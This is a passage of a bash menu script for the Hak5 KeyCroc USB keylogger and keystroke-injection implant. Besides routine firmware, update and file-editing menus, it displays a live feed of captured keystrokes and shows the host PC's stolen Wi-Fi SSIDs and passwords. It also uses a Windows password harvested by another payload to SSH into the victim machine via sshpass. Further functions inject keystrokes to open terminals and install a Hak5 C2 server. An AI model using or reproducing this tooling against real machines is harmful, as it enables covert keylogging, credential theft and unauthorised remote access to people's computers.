MEMORY USED:\n$(free -m)\n$(cat /proc/meminfo)\n${LINE}\nSHOW PARTITION FORMAT:\n$(lsblk -a)\n${LINE}\nSHOW DISK USAGE:\n$(df -TH)\n\t${LINE_A}>MORE DETAIL<${LINE_A}\n$(fdisk -l)\n${LINE}\nCHECK USER LOGIN:\n$(lastlog)\n${LINE}\nCURRENT PROCESS:\n$(ps aux)\n${LINE}\nCPU INFORMATION:\n$(more /proc/cpuinfo)\n$(lscpu | grep MHz)\n${LINE}\nCHECK PORT:\n$(netstat -tulpn)\n
${LINE}\nRUNNING SERVICES:\n$(service --status-all)\n${LINE}\nINSTALLED PACKAGES:\n$(dpkg-query -l)\n${LINE}\nIDENTIFIER (UUID):\n$(blkid)\n${LINE}\nDIRECTORIES:\n$(ls -la -r /etc /var /root /tmp /usr /sys /bin /sbin)\n${LINE}\nDISPLAY TREE:\n$(pstree)\n${LINE}\nSHELL OPTIONS:\n$(shopt)\n${LINE}\n" >> ${LOOT_INFO}
    cat ${LOOT_INFO}
}

##
#   -Status connected pc info
##

pc_info() {
    CROC_OS=/root/udisk/loot/Croc_OS.txt
    OS_CHECK=$(sed -n 1p ${CROC_OS})
    if [ "${OS_CHECK}" = WINDOWS ]; then
    CROC_OS_WIND=/root/udisk/loot/Croc_OS_wind.txt
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:') $(sed -n 1p ${CROC_OS})
$(ColorYellow 'PC Host name is:') $(sed -n 3p ${CROC_OS})
$(ColorYellow 'KeyCroc eth0 IP is:') $(sed -n 2p ${CROC_OS})
$(ColorYellow 'Pc user name is:') $(sed -n 7p ${CROC_OS_WIND})
$(ColorYellow 'Pc IP is:') $(sed -n 4p ${CROC_OS_WIND})
$(ColorYellow 'Pc SSID + PASSWD and MAC address is:')
$(sed '9,24!d' ${CROC_OS_WIND})\n"
else
    if [ "${OS_CHECK}" = LINUX ]; then
    croc_os_v=/root/udisk/loot/Croc_OS_ip.txt
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:') $(sed -n 1p ${CROC_OS})
$(ColorYellow 'PC Host name is:') $(sed -n 3p ${CROC_OS})
$(ColorYellow 'KeyCroc eth0 IP is:') $(sed -n 2p ${CROC_OS})
$(ColorYellow 'Pc user name is:') $(sed -n 1p ${croc_os_v})
$(ColorYellow 'Pc IP is:') $(sed -n 2p ${croc_os_v})
$(ColorYellow 'Pc SSID + PASSWD and MAC address is:') 
$(sed '3,9!d' ${croc_os_v})\n"
else
    echo -ne "$(ColorRed 'PLEASE RUN CROC_POT PAYLOAD TO GET PC USER NAME AND IP')"
 fi
fi
}

##
#   -Status start live keystorke
##

keystorkes_V() {
	echo -ne "\e[40;5m$(ColorYellow 'PRESS COMTROL + C TO EXIT')${clear}"
	sleep 2
	cd loot
	tail -f croc_char.log
	menu_A
}

##
#   - Croc Status Menu
##

menu_A() {
	LED B
MenuTitle KEYCROC STATUS MENU
MenuColor 1 MEMORY USAGE ; echo -ne "             ${clear}\n"
MenuColor 2 CPU LOAD ; echo -ne "                 ${clear}\n"
MenuColor 3 NUMBER OF TCP CONNECTIONS ; echo -ne "  ${clear}\n"
MenuColor 4 KERNEL VERSION ; echo -ne "           ${clear}\n"
MenuColor 5 RUNNING PROCESSES ; echo -ne "        ${clear}\n"
MenuColor 6 CHECK ALL ; echo -ne "                ${clear}\n"
MenuColor 7 CONNECTED PC INFO ; echo -ne "         ${clear}\n"
MenuColor 8 VIEW LIVE KEYSTORKES ; echo -ne "      ${clear}\n"
MenuColor 9 RETURN TO MAIN MENU ; echo -ne "        ${clear}\n"
MenuEnd
        read a_c
        case $a_c in
        1) memory_check ; menu_A ;;
        2) cpu_check ; menu_A ;;
        3) tcp_check ; menu_A ;;
        4) kernel_check ; menu_A ;;
        5) processes_check ; menu_A ;;
        6) all_checks ; menu_A ;;
        7) pc_info ; menu_A ;;
        8) keystorkes_V ; menu_A ;;
        9) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ; menu_A ;;
        esac
 }
menu_A
}

##
#   - Edit Files Functions
##

function croc_edit_menu() {
	clear
	LED B
	croc_title
	
##
# Edit Payload files Functions
##
	
edit_payload() {
    cd /root/udisk/payloads
    ls -R --color=auto
    ls -aRd $PWD/* --color=auto
    echo ""
    read -p "$(ColorBlue 'ENTER THE PAYLOAD NAME TO EDIT AND PRESS [ENTER]:') " user_payload
    USER_PAYLOAD_V=${user_payload}
    if [ -e "${USER_PAYLOAD_V}" ]; then
    nano ${USER_PAYLOAD_V}
else
    invalid_entry
fi
}
    
##
# Edit Tools files Functions
##    
    
edit_tools() {
    cd /root/udisk/tools
    ls -R --color=auto
    ls -aRd $PWD/* --color=auto
    echo ""
    read -p "$(ColorBlue 'ENTER THE FILE NAME TO EDIT AND PRESS [ENTER]:') " user_tools
    USER_TOOLS_V=${user_tools}
    if [ -e "${USER_TOOLS_V}" ]; then
    nano ${USER_TOOLS_V}
else
    invalid_entry
fi
}
    
##
# Edit loot files Functions
##    
    
edit_loot() {
    cd /root/udisk/loot
    ls -R --color=auto
    ls -aRd $PWD/* --color=auto
    echo ""
    read -p "$(ColorBlue 'ENTER THE FILE NAME TO EDIT AND PRESS [ENTER]:') " user_loot
    USER_LOOT_V=${user_loot}
    if [ -e "${USER_LOOT_V}" ]; then
    nano ${USER_LOOT_V}
else
    invalid_entry
fi
}
    
##
# Edit Config files Functions
##    
    
edit_config() {
    USER_CONFIG_V=/root/udisk/config.txt
    if [ -e "${USER_CONFIG_V}" ]; then
    nano ${USER_CONFIG_V}
else
    invalid_entry
fi
}
    
##
# Edit Path To file Functions
##
    
user_file() {
    cd
    ls -aRd $PWD/* --color=auto
    ls -R --color=auto
    echo ""
    read -p "$(ColorBlue 'ENTER THE PATH TO FILE NAME TO EDIT AND PRESS [ENTER]:') " file_edit
    USER_FILE_V=${file_edit}
    if [ -e "${USER_FILE_V}" ]; then
    nano ${USER_FILE_V}
else
    invalid_entry
fi
}

##
# Edit remove file Functions
##
    
remove_file() {
	cd
	ls -aRd $PWD/* --color=auto
	ls -R --color=auto
	echo ""
	read -p "$(ColorRed 'ENTER THE PATH TO FILE NAME YOU WISH TO REMOVE AND PRESS [ENTER]:') " remove_edit
	REMOVE_FILE_V=${remove_edit}
	if [ -e "${REMOVE_FILE_V}" ]; then
	LED R
	echo -ne ${LINE_}"\e[40;4;5m$(ColorRed 'This file will be removed') ${REMOVE_FILE_V}${clear}"${LINE_}
	rm -f ${REMOVE_FILE_V}
else
	invalid_entry
fi
}

##
#   - Croc Edit Menu
##
			
	LED B
MenuTitle CROC EDIT MENU
MenuColor  1 CROC PAYLOADS FOLDER ; echo -ne "  ${clear}\n"
MenuColor  2 CROC TOOLS FOLDER ; echo -ne "     ${clear}\n"
MenuColor  3 CROC LOOT FOLDER ; echo -ne "      ${clear}\n"
MenuColor  4 CROC CONFIG fILE ; echo -ne "      ${clear}\n"
MenuColor  5 CROC ENTER FILE NAME ; echo -ne "   ${clear}\n"
MenuColor  6 CROC REMOVE FILES ; echo -ne "     ${clear}\n"
MenuColor  7 ATTACKMODE HID STORAGE ; echo -ne "${clear}\n"
MenuColor  8 ATTACKMODE HID ; echo -ne "       ${clear}\n"
MenuColor  9 RELOAD_PAYLOADS ; echo -ne "     ${clear}\n"
MenuColor 10 RETURN TO MAIN MENU ; echo -ne "   ${clear}\n"
MenuEnd
        read a_b
        case $a_b in
        1) edit_payload ; croc_edit_menu ;;
        2) edit_tools ; croc_edit_menu ;;
        3) edit_loot ; croc_edit_menu ;;
        4) edit_config ; croc_edit_menu ;;
        5) user_file ; croc_edit_menu ;;
        6) remove_file ; croc_edit_menu ;;
        7) ATTACKMODE HID STORAGE ; croc_edit_menu ;;
        8) ATTACKMODE HID ; croc_edit_menu ;;
        9) RELOAD_PAYLOADS ; croc_edit_menu ;;
       10) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ; croc_edit_menu ;;
        esac
}

##
#   - SSH function
##

function ssh_menu() {
	hak_gear=/root/udisk/tools/CROC_POT/Hak5Gear.txt
	LED B
	clear
	echo -ne "$(Info_Screen '
-SSH into your HAK5 gear\n
-SSH into connect PC\n')${clear}\n"

##
#   - SSH hak5 gear Passwd list
##
	
pw_list() {
	
hak_list() {
	echo -ne "\e[40;34mENTER YOUR ${1} ${2} PASSWD AND PRESS [ENTER]:${clear}"
}
	
hak_passwd() {
    unset hakpassword
    unset hakchartCount
    while IFS= read -r -n1 -s charr; do
    case "$charr" in
    $'\0') break ;;
    $'\177') if [ ${#hakpassword} -gt 0 ]; then
                echo -ne "\b \b"
                hakpassword=${hakpassword::-1}
             fi ;;
          *)    hakchartCount=$((hakchartCount+1))
                echo -n '*'
                hakpassword+="$charr" ;;
    esac
done
echo $hakpassword >> ${hak_gear}
echo ""
}
clear
echo -ne "$(Info_Screen '
Create passwd list for Hak5 gear\n
-wifi pineapple\n
-packet squirrel\n
-lan turtle\n
-signal owl\n
-shark jack\n
-bash bunny\n
This will save your passwd to tools/CROC_POT folder for your hak5 gear\n
This will be used for ssh into your gear\n
This will install (sshpass) package to the keycroc used for enter passwd once\n
First time ssh for Keycroc to hak5 gear you will need to authentication ssh\n
before (sshpass) will work\n')${clear}\n"
> ${hak_gear}
pkg=sshpass
status="$(dpkg-query -W --showformat='${db:Status-Status}' "$pkg" 2>&1)"
if [ ! $? = 0 ] || [ ! "$status" = installed ]; then
  apt install $pkg
fi
hak_list WIFI PINEAPPLE ; hak_passwd
hak_list PACKET SQUIRREL ; hak_passwd
hak_list LAN TURTLE ; hak_passwd
hak_list SIGNAL OWL ; hak_passwd
hak_list SHARK JACK ; hak_passwd
hak_list BASH BUNNY ; hak_passwd
}

##
#   - SSH check for pc passwd
##
	
pc_pw() {
	pw_check=/root/udisk/loot/Croc_Pot/winpasswd.txt
	if [ -e "${pw_check}" ]; then
	    echo -ne "$(ColorYellow 'Have An save Passwd we will try this:') $(sed '$!d' ${pw_check})\n"
	else
	    echo -ne "\e[40;4;5m$(ColorRed 'Run Croc_Unlock Payload to get user passwd')${clear}\n"
	fi
}

##
#   - SSH to connected pc
##
	
pc_ssh() {
	CROC_OS=/root/udisk/loot/Croc_OS.txt
	OS_CHECK=$(sed -n 1p ${CROC_OS})
	pc_pw
	if [ "${OS_CHECK}" = WINDOWS ]; then
	CROC_OS_WIND=/root/udisk/loot/Croc_OS_wind.txt
	$(sed -i 's/\r//g' ${CROC_OS_WIND})
echo -ne "\t$(ColorYellow 'The PC user name is:') $(sed -n 7p ${CROC_OS_WIND})
\t$(ColorYellow 'The PC IP is:') $(sed -n 4p ${CROC_OS_WIND})
\t$(ColorGreen 'Starting SSH with connected PC')\n"
    sshpass -p $(sed '$!d' ${pw_check}) ssh $(sed -n 7p ${CROC_OS_WIND})@$(sed -n 4p ${CROC_OS_WIND})
else
	if [ "${OS_CHECK}" = LINUX ]; then
	CROC_OS_V=/root/udisk/loot/Croc_OS_ip.txt
echo -ne "\t$(ColorYellow 'The PC user name is:') $(sed -n 1p ${CROC_OS_V})
\t$(ColorYellow 'The PC IP is:') $(sed -n 2p ${CROC_OS_V})
\t$(ColorGreen 'Starting SSH with connected PC')\n"
    sshpass -p $(sed '$!d' ${pw_check}) ssh $(sed -n 1p ${CROC_OS_V})@$(sed -n 2p ${CROC_OS_V})
else
	echo -ne "\e[40;4;5m$(ColorRed 'PLEASE RUN CROC_POT PAYLOAD TO GET USER NAME AND IP')${clear}"
	fi
fi
}

userinput_ssh() {
	read -p "$(ColorBlue 'ENTER THE HOST/USER NAME FOR SSH AND PRESS [ENTER]:') " SSH_USER
	read -p "$(ColorBlue 'ENTER THE IP FOR SSH AND PRESS [ENTER]:') " SSH_IP
	ssh ${SSH_USER}@${SSH_IP}
}

##
#   - SSH to wifi pineapple
##

ssh_pineapple() {
	clear
ssh_shell() {
	read -p "$(ColorBlue 'ENTER WIFI PINEAPPLE IP FOR SSH AND PRESS [ENTER]:') " PINE
	if [[ "${PINE}" == +([0-9]).+([0-9]).+([0-9]).+([0-9]) ]]; then
	if [ "$(sed -n '1p' ${hak_gear})" != "" ]; then
	sshpass -p $(sed -n 1p ${hak_gear}) ssh root@${PINE}
	fi
else
    if [ "$(sed -n '1p' ${hak_gear})" != "" ]; then
    echo -ne "\e[40;4;5m$(ColorRed 'USING WIFI PINEAPPLE DEFAULT IP 172.16.42.1')${clear}"
	sshpass -p $(sed -n 1p ${hak_gear}) ssh root@172.16.42.1
else
    pw_list
 fi
fi
}

##
#   - SSH start wifi pineapple web UI
##

pine_web() {
	echo -ne "\n\e[40m$(ColorYellow 'Starting WIFI Pineapple web page')\n${clear}"
	CROC_OS=/root/udisk/loot/Croc_OS.txt
	if [ "${OS_CHECK}" = WINDOWS ]; then
	   Q GUI d
	   Q GUI r
	   sleep 1
	   Q STRING "powershell"
	   Q ENTER
	   sleep 2
	   Q STRING "Start-Process http://172.16.42.1:1471"
	   Q ENTER
	   Q ENTER
	   sleep 3
	   Q ALT-TAB
	   sleep 1
	   Q ALT-F4
else
    HOST_CHECK=$(sed -n 3p ${CROC_OS})
      case $HOST_CHECK in
           raspberrypi) 
                      Q CONTROL-ALT-d
                      sleep 1
                      Q STRING "terminal"
                      Q ENTER
                      Q ENTER
                      sleep 1
                      Q STRING "gio open http://172.16.42.1:1471"
                      Q ENTER
                      sleep 3
                      Q ALT-TAB
                      sleep 1
                      Q ALT-F4;;
                parrot)
                      Q ALT F2
                      sleep 1
                      Q STRING "mate-terminal"
                      Q ENTER
                      sleep 1
                      Q STRING "gio open http://172.16.42.1:1471"
                      Q ENTER
                      sleep 3
                      Q ALT-TAB
                      sleep 1
                      Q ALT-F4;;
                     *)
                      Q ALT F2
                      sleep 1
                      Q STRING "xterm"
                      Q ENTER
                      sleep 1
                      Q STRING "gio open http://172.16.42.1:1471"
                      Q ENTER
                      sleep 3
                      Q ALT-TAB
                      sleep 1
                      Q ALT-F4;;                      
esac
fi
}

##
#   - SSH wifi pineapple menu
##

MenuTitle WIFI PINEAPPLE MENU
MenuColor 1 SSH PINEAPPLE ; echo -ne "     ${clear}\n"
MenuColor 2 PINEAPPLE WEB ; echo -ne "     ${clear}\n"
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd
    read w_p
    case $w_p in
	1) ssh_shell ; ssh_menu ;;
	2) pine_web ; ssh_menu ;;
	3) main_menu ;;
	0) exit 0 ;;
	*) invalid_entry ; ssh_menu ;;
	esac
}

##
#   - SSH to packet squirrel
##

ssh_squirrel() {
	read -p "$(ColorBlue 'ENTER PACKET SQUIRREL IP FOR SSH AND PRESS [ENTER]:') " SQUIRREL
	if [[ "${SQUIRREL}" == +([0-9]).+([0-9]).+([0-9]).+([0-9]) ]]; then
	if [ "$(sed -n '2p' ${hak_gear})" != "" ]; then
	sshpass -p $(sed -n 2p ${hak_gear}) ssh root@${SQUIRREL}
	fi
else
    if [ "$(sed -n '2p' ${hak_gear})" != "" ]; then
    echo -ne "\e[40;4;5m$(ColorRed 'USING PACKET SQUIRREL DEFAULT IP 172.16.32.1')${clear}"
	sshpass -p $(sed -n 2p ${hak_gear}) ssh root@172.16.32.1
else
    pw_list
 fi
fi
}

##
#   - SSH to lan turtle
##

ssh_turtle() {
	read -p "$(ColorBlue 'ENTER LAN TURTLE IP FOR SSH AND PRESS [ENTER]:') " TURTLE
	if [[ "${TURTLE}" == +([0-9]).+([0-9]).+([0-9]).+([0-9]) ]]; then
	if [ "$(sed -n '3p' ${hak_gear})" != "" ]; then
	sshpass -p $(sed -n 3p ${hak_gear}) ssh root@${TURTLE}
	fi
else
    if [ "$(sed -n '3p' ${hak_gear})" != "" ]; then
	echo -ne "\e[40;4;5m$(ColorRed 'USING LAN TURTLE DEFAULT IP 172.16.84.1')${clear}"
	sshpass -p $(sed -n 3p ${hak_gear}) ssh root@172.16.84.1
else
    pw_list
 fi
fi
}

##
#   - SSH to signal owl
##

ssh_owl() {
	read -p "$(ColorBlue 'ENTER SIGNAL OWL IP FOR SSH AND PRESS [ENTER]:') " OWL
	if [[ "${OWL}" == +([0-9]).+([0-9]).+([0-9]).+([0-9]) ]]; then
	if [ "$(sed -n '4p' ${hak_gear})" != "" ]; then
	sshpass -p $(sed -n 4p ${hak_gear}) ssh root@${OWL}
	fi
else
    if [ "$(sed -n '4p' ${hak_gear})" != "" ]; then
    echo -ne "\e[40;4;5m$(ColorRed 'USING SIGNAL OWL DEFAULT IP 172.16.56.1')${clear}"
	sshpass -p $(sed -n 4p ${hak_gear}) ssh root@172.16.56.1
else
    pw_list
 fi
fi
}

##
#   - SSH to shark jack
##

ssh_shark() {
	read -p "$(ColorBlue 'ENTER SHARK JACK IP FOR SSH AND PRESS [ENTER]:') " SHARK
	if [[ "${SHARK}" == +([0-9]).+([0-9]).+([0-9]).+([0-9]) ]]; then
	if [ "$(sed -n '5p' ${hak_gear})" != "" ]; then
	sshpass -p $(sed -n 5p ${hak_gear}) ssh root@${SHARK}
	fi
else
    if [ "$(sed -n '5p' ${hak_gear})" != "" ]; then
    echo -ne "\e[40;4;5m$(ColorRed 'USING SHARK JACK DEFAULT IP 172.16.24.1')${clear}"
	sshpass -p $(sed -n 5p ${hak_gear}) ssh root@172.16.24.1
else
    pw_list
 fi
fi
}

##
#   - SSH to bash bunny
##

ssh_bunny() {
	if [ "$(sed -n '6p' ${hak_gear})" != "" ]; then
	   echo "\e[40m$(ColorYellow 'Bash Bunny passwd found')\n${clear}"
	else
	   echo -ne ${LINE_}"\e[40;4;5m$(ColorRed 'ENTER BASH BUNNY PASSWD')${clear}"${LINE_}
	   pw_list
	fi
	   CROC_OS=/root/udisk/loot/Croc_OS.txt
	if [ "${OS_CHECK}" = WINDOWS ]; then
	   Q GUI d
	   Q GUI r
	   sleep 1
	   Q STRING "powershell"
	   Q ENTER
	   sleep 2
	   Q STRING "ssh root@172.16.64.1"
	   Q ENTER
else
    HOST_CHECK=$(sed -n 3p ${CROC_OS})
      case $HOST_CHECK in
           raspberrypi) 
                      Q CONTROL-ALT-d
                      sleep 1
                      Q STRING "terminal"
                      Q ENTER
                      Q ENTER
                      sleep 1
                      Q STRING "ssh root@172.16.64.1"
                      Q ENTER
                      sleep 1
                      Q STRING $(sed -n '6p' ${hak_gear})
                      Q ENTER;;
                parrot)
                      Q ALT F2
                      sleep 1
                      Q STRING "mate-terminal"
                      Q ENTER
                      sleep 1
                      Q STRING "ssh root@172.16.64.1"
                      Q ENTER
                      sleep 1
                      Q STRING $(sed -n '6p' ${hak_gear})
                      Q ENTER;;
                     *)
                      Q ALT F2
                      sleep 1
                      Q STRING "xterm"
                      Q ENTER
                      sleep 1
                      Q STRING "ssh root@172.16.64.1"
                      Q ENTER
                      sleep 1
                      Q STRING $(sed -n '6p' ${hak_gear})
                      Q ENTER;;                      
esac
fi
}

##
#   - SSH Menu
##
	
	LED B
MenuTitle CROC SSH MENU
MenuColor  1 START SSH WITH CONNECT PC ; echo -ne " ${clear}\n"
MenuColor  2 START SSH WITH USER INPUT ; echo -ne " ${clear}\n"
MenuColor  3 ENABLE_SSH ; echo -ne "            ${clear}\n"
MenuColor  4 DISABLE_SSH ; echo -ne "           ${clear}\n"
MenuColor  5 WIFI PINEAPPLE ; echo -ne "         ${clear}\n"
MenuColor  6 PACKET SQUIRREL ; echo -ne "        ${clear}\n"
MenuColor  7 LAN TURTLE ; echo -ne "             ${clear}\n"
MenuColor  8 SIGNAL OWL ; echo -ne "             ${clear}\n"
MenuColor  9 SHARK JACK ; echo -ne "             ${clear}\n"
MenuColor 10 BASH BUNNY ; echo -ne "            ${clear}\n"
MenuColor 11 RETURN TO MAIN MENU ; echo -ne "     ${clear}\n"
MenuEnd
    read ssh_a
    case $ssh_a in
	1) pc_ssh ; ssh_menu ;;
	2) userinput_ssh ; ssh_menu ;;
	3) ENABLE_SSH ; ssh_menu ;;
	4) DISABLE_SSH ; ssh_menu ;;
	5) ssh_pineapple ; ssh_menu ;;
	6) ssh_squirrel ; ssh_menu ;;
	7) ssh_turtle ; ssh_menu ;;
	8) ssh_owl ; ssh_menu ;;
	9) ssh_shark ; ssh_menu ;;
	10) ssh_bunny ; ssh_menu ;;
	11) main_menu ;;
	0) exit 0 ;;
	*) invalid_entry ; ssh_menu ;;
        esac
}

##
#   - Keycroc recovery function
##

function croc_recovery() {
	clear
	echo -ne "$(Info_Screen '
-Download The lastest firmware from Hak5\n
-This will save the Firmware to the keycroc tools folder\n
-Restore the keycroc firmware with the lastest firmware\n
-factory recovery will bring you to Hak5 factory recovery web page\n
-Remove this will remove the lastest firmware from tools folder\n')\n"

##
#   - Download lastest firmware function
##
	
croc_firmware() {
	echo -ne "$(Info_Screen '
-This will Download KeyCroc lastest firmware from Hak5\n
-Download center and place it in the tools folder\n
-for later recovery, Download may take some time\n')${clear}\n"
	if [ -e /root/udisk/tools/kc_fw_1.3_510.tar.gz ]; then
	   echo -ne "\n\e[40m$(ColorGreen 'KeyCroc lastest firmware file already exists')\n${clear}"
	else
	   echo -ne "\n\e[40m$(ColorYellow '-Downloading KeyCroc lastest firmware')\n${clear}"
	   wget https://storage.googleapis.com/hak5-dl.appspot.com/keycroc/firmwares/1.3-stable/kc_fw_1.3_510.tar.gz -P /root/udisk/tools
fi
}

##
#   - hak5 factory recovery function
##

hak_factory() {
	echo -ne "\n\e[40m$(ColorYellow 'Open Hak5 factory recovery web page')\n${clear}"
	CROC_OS=/root/udisk/loot/Croc_OS.txt
	if [ "${OS_CHECK}" = WINDOWS ]; then
	   Q GUI d
	   Q GUI r
	   sleep 1
	   Q STRING "powershell"
	   Q ENTER
	   sleep 2
	   Q STRING "Start-Process https://docs.hak5.org/hc/en-us/articles/360048657394-Factory-Reset"
	   Q ENTER
	   Q ENTER
else
    HOST_CHECK=$(sed -n 3p ${CROC_OS})
      case $HOST_CHECK in
           raspberrypi) 
                      Q CONTROL-ALT-d
                      sleep 1
                      Q STRING "terminal"
                      Q ENTER
                      Q ENTER
                      sleep 1
                      Q STRING "gio open https://docs.hak5.org/hc/en-us/articles/360048657394-Factory-Reset"
                      Q ENTER;;
                parrot)
                      Q ALT F2
                      sleep 1
                      Q STRING "mate-terminal"
                      Q ENTER
                      sleep 1
                      Q STRING "gio open https://docs.hak5.org/hc/en-us/articles/360048657394-Factory-Reset"
                      Q ENTER;;
                     *)
                      Q ALT F2
                      sleep 1
                      Q STRING "xterm"
                      Q ENTER
                      sleep 1
                      Q STRING "gio open https://docs.hak5.org/hc/en-us/articles/360048657394-Factory-Reset"
                      Q ENTER;;                      
esac
fi
}

##
#   - Restore lastest firmware function
##

restore_firmware() {
	echo -ne "\n\e[40m$(ColorRed 'THIS WILL RESTORE THE KEYCROC TO THE LATEST FIRMWARE\n
	ARE YOUR YOU SURE YES OR NO AND PRESS [ENTER]:')${clear}"
	   read r_f
	   case $r_f in
	   [yY] | [yY][eE][sS] )
	 if [ -e /root/udisk/tools/kc_fw_1.3_510.tar.gz ]; then
	    echo -ne "\e[40m$(ColorYellow 'Moving Firmware to KeyCroc udisk
	    This will take an couple of minutes')\n${clear}"
	    cp /root/udisk/tools/kc_fw_1.3_510.tar.gz /root/udisk
	    echo -ne "\e[40m$(ColorGreen 'You can now unplug the KeyCroc and plug back in')\n${clear}"
	 else
	    echo -ne "\e[40m$(ColorRed 'DID NOT FIND KEYCROC FIRMWARE FILE PLEASE DOWNLOAD')\n${clear}"
	 fi ;;
	    [nN] | [nN][oO] )
	    echo -ne "\n\e[40m$(ColorYellow 'Returning back to menu')\n${clear}"
	    croc_recovery ;;
	    *)
	    invalid_entry ; restore_firmware ;;
esac
}

##
#   - recovery repair locale LANG=en_US.UTF-8
##

locale_en_US() {
	clear
	echo -ne "\n$(Info_Screen '
--This will fix LC_ALL=en_US.UTF-8 if you get this error at ssh \n
--bash: warning: setlocale: LC_ALL: cannot change locale en_US.UTF-8\n
--This is for US language\n
--Not sure if this will work on other language keyboards\n
--\n')${clear}\n\n"
    read -p "$(ColorBlue 'FIX THE ERROR YES OR NO AND PRESS [ENTER]:') " FIX_ERROR
    case $FIX_ERROR in
	[yY] | [yY][eE][sS] )
	  echo -ne "\n$(ColorGreen 'Repairing The error')\n" 
	  echo "LC_ALL=en_US.UTF-8" >> /etc/environment
	  echo "en_US.UTF-8 UTF-8" >> /etc/locale.gen
	  echo "LANG=en_US.UTF-8" > /etc/locale.conf
	  locale-gen en_US.UTF-8 
	  echo -ne "\n$(ColorGreen 'Done Repairing The error unplug the keycroc and plug back in')\n" ;;
	[nN] | [nN][oO] )
	  echo -ne "\n$(ColorYellow 'Returning back to menu')\n"
	  croc_recovery ;;
	*) invalid_entry ; croc_recovery ;;
esac
	
}
	
##
#   - recovery menu
##

MenuTitle KEYCROC RECOVERY MENU
MenuColor 1 DOWNLOAD LATEST FIRMWARE ; echo -ne " ${clear}\n"
MenuColor 2 FACTORY RESET HOW TO ; echo -ne "      ${clear}\n"
MenuColor 3 RESTORE LASTEST FIRMWARE ; echo -ne " ${clear}\n"
MenuColor 4 REMOVE LASTEST FIRMWARE ; echo -ne "  ${clear}\n"
MenuColor 5 REPAIR en_US.UTF-8 ERROR ; echo -ne " ${clear}\n"
MenuColor 6 RETURN TO MAIN MENU ; echo -ne "       ${clear}\n"
MenuEnd
    read c_f
    case $c_f in
	1) croc_firmware ; croc_recovery ;;
	2) hak_factory ; croc_recovery ;;
	3) restore_firmware ; croc_recovery ;;
	4) echo -ne "\n$(ColorYellow 'Removing lastest firmware file from tools folder')\n" ; rm /root/udisk/tools/kc_fw_1.3_510.tar.gz ; croc_recovery ;;
	5) locale_en_US ; croc_recovery ;;
	6) main_menu ;;
	0) exit 0 ;;
	*) invalid_entry ; croc_recovery ;;
	esac
}

##
#   - Keycroc apt update/upgrade
##

function croc_update() {
	clear
	echo -ne "$(Info_Screen '
Update/Upgrade your KeyCroc Packages\n')${clear}\n\n"
	read -p "$(ColorBlue 'UPDATE KEYCROC PACKAGES YES OR NO AND PRESS [ENTER]:\n') " UPDATE
	case $UPDATE in
	[yY] | [yY][eE][sS] )
	                    echo -ne "\n\e[40m$(ColorGreen 'UPDATING AND UPGRADING THE KEYCROC PACKAGES')${clear}\n" 
	                    apt update && apt upgrade -y 
	                    main_menu ;;
	    [nN] | [nN][oO] )
	                    echo -ne "\n\e[40m$(ColorYellow 'RETURING BACK TO MENU')${clear}\n" 
	                    main_menu ;;
	                   *)
	                    invalid_entry ; croc_update ;;
	esac
}

##
#   - Hak5 Cloud_C2 function
##

function hak_cloud() {
	clear
	echo -ne "$(Info_Screen '
-Run HAK-5 Cloud C2 on the keycroc\n
-When running setup, maximize your screen to read Token keys properly\n
-To get Token keys Run #3 RELOAD HAK5 C2 until the keys show up\n
-May need to Unplug the keycroc plug back in and try again\n
-This will check to see if unzip is installed if not it will install it\n
-This will not start C2 on boot\n
-Next reboot run #4 RESTART HAK5 C2\n
-ON any device type in the keycroc IP into any web browser url, That is on the\n
same network as the keycroc and connect to HAK5 C2\n')${clear}\n"

cloud_setup() {
	pkg_zip=unzip
	status_zip="$(dpkg-query -W --showformat='${db:Status-Status}' "$pkg_zip" 2>&1)"
	if [ ! $? = 0 ] || [ ! "$status_zip" = installed ]; then
	apt install $pkg_zip
	fi

	if [ -e /var/hak5c2 ]; then
	echo -ne "\t\t\e[40m${LINE_}$(ColorYellow 'HAK5 C2 is already installed on the keycroc')${LINE_}${clear}\n"
	hak_cloud
else
    echo -ne "\n\t\t\e[40m${LINE_}$(ColorGreen 'Installing HAK5 C2 on the keycroc')\e[40m${LINE_}${clear}\n"
    sleep 3
    wget https://c2.hak5.org/download/community -O /tmp/community && unzip /tmp/community -d /tmp
    sleep 5
    mv /tmp/c2-3.1.2_armv7_linux /usr/local/bin && mkdir /var/hak5c2
    echo -ne "[Unit]\nDescription=Hak5 C2\nAfter=hak5.service\n[Service]\nType=idle
ExecStart=/usr/local/bin/c2-3.1.2_armv7_linux -hostname $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-) -listenport 80 -db /var/hak5c2/c2.db
[Install]\nWantedBy=multi-user.target" >> /etc/systemd/system/hak5.service
    sleep 1
    systemctl daemon-reload && systemctl start hak5.service 
    sleep 5
    systemctl status hak5.service
    sleep 5
    echo -ne "\t\t\e[40m${LINE_}$(ColorGreen 'HAK-5 Cloud C2 Installed, Starting C2 web UI')${LINE_}${clear}"
    sleep 5
    start_web
    fi
}

start_web() {

	CROC_OS=/root/udisk/loot/Croc_OS.txt
	if [ "${OS_CHECK}" = WINDOWS ]; then
	   Q GUI d
	   Q GUI r
	   sleep 1
	   Q STRING "powershell"
	   Q ENTER
	   sleep 2
	   Q STRING "Start-Process http://$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
	   Q ENTER
	   Q ENTER
	   sleep 3
	   Q ALT-TAB
	   sleep 1
	   Q ALT-F4
else
    HOST_CHECK=$(sed -n 3p ${CROC_OS})
      case $HOST_CHECK in
           raspberrypi) 
                      Q CONTROL-ALT-d
                      sleep 1
                      Q STRING "terminal"
                      Q ENTER
                      Q ENTER
                      sleep 1
                      Q STRING "gio open http://$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
                      Q ENTER
                      sleep 3
                      Q ALT-TAB
                      sleep 1
                      Q ALT-F4;;
                parrot)
                      Q ALT F2
                      sleep 1
                      Q STRING "mate-terminal"
                      Q ENTER
                      sleep 1
                      Q STRING "gio open http://$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
                      Q ENTER
                      sleep 3
                      Q ALT-TAB
                      sleep 1
                      Q ALT-F4;;
                     *)
                      Q ALT F2
                      sleep 1
                      Q STRING "xterm"
                      Q ENTER
                      sleep 1
